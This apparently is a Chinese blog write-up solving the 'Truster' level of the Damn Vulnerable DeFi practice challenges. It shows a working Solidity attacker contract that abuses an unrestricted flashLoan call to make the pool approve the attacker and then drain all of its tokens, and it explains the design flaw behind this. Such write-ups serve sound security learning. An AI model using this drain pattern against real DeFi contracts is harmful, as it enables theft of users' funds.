Damn-vulnerable-defi-V4-solution(Truster)

2025-09-01T15:14:00

一、Truster

我们有一个具有闪电贷功能的借贷池,目标是实现将其所有代币转移到recover 账户。

function flashLoan(uint256 amount, address borrower, address target, bytes calldata data)
        external
        nonReentrant
        returns (bool)
    {
        uint256 balanceBefore = token.balanceOf(address(this));

        token.transfer(borrower, amount);
        target.functionCall(data);

        if (token.balanceOf(address(this)) < balanceBefore) {
            revert RepayFailed();
        }

        return true;
    }

闪电贷需要强制返还代币,否则,它将revert RepayFailed()

但是,我们不需要从池中借入任何资金。对于 ERC20 代币,转移代币的一种方法是调用token.transfer,它会将代币从 msg.sender转移到接收者。但还有另一种方法:token.approve,它会为已批准的账户分配限额,允许其将已批准的金额转移到任何账户。

我们需要做的只是简单地调用token.approve(attacker, balance),以便在闪电贷结束后,作为攻击者,我们可以使用token.transferFrom将借贷池中的余额转移到恢复账户。

攻击逻辑
  • 攻击者构造 data = approve(attacker, 1_000_000e18)
  • target = token,所以 pool 会调用 token 合约的 approve
  • 效果:

    • pool 合约自己把 全部 token 的使用权授权给了 attacker
  • 最后一步:攻击者直接把池子里的所有代币转走。

请注意,此挑战只允许进行一笔交易(即改变区块链状态的操作)。因此,我们可以部署另一个合约,在其构造函数中执行我们的攻击。

构建一个 Attacker 合约

contract Attacker {
    constructor(DamnValuableToken token, TrusterLenderPool pool, address recovery) {
        uint256 amount = 1_000_000e18;
        bytes memory data = abi.encodeCall(token.approve, (address(this), amount));
        pool.flashLoan(0, address(this), address(token), data);
        token.transferFrom(address(pool), recovery, amount);
    }
}

然后构造 Attacker 合约

  function test_truster() public checkSolvedByPlayer {
        new Attacker(token, pool, recovery);
    }
设计上的问题
  • 问题在于 target 没有限制

    • 本来应该只让用户调用 借款人合约(类似 Aave 会要求借款人实现 IFlashLoanReceiver 接口)
    • 但这里却允许攻击者随便传一个地址,比如 token 合约本身
  • 同时,data 也是完全由攻击者控制的

    • 攻击者可以构造任何函数调用(如 approve(attacker, amount))。
    • pool 调用时的 msg.sender 就是 pool 自己,所以 token 认为 pool 自己正在授权
当前页面是本站的「Baidu MIP」版。发表评论请点击:完整版 »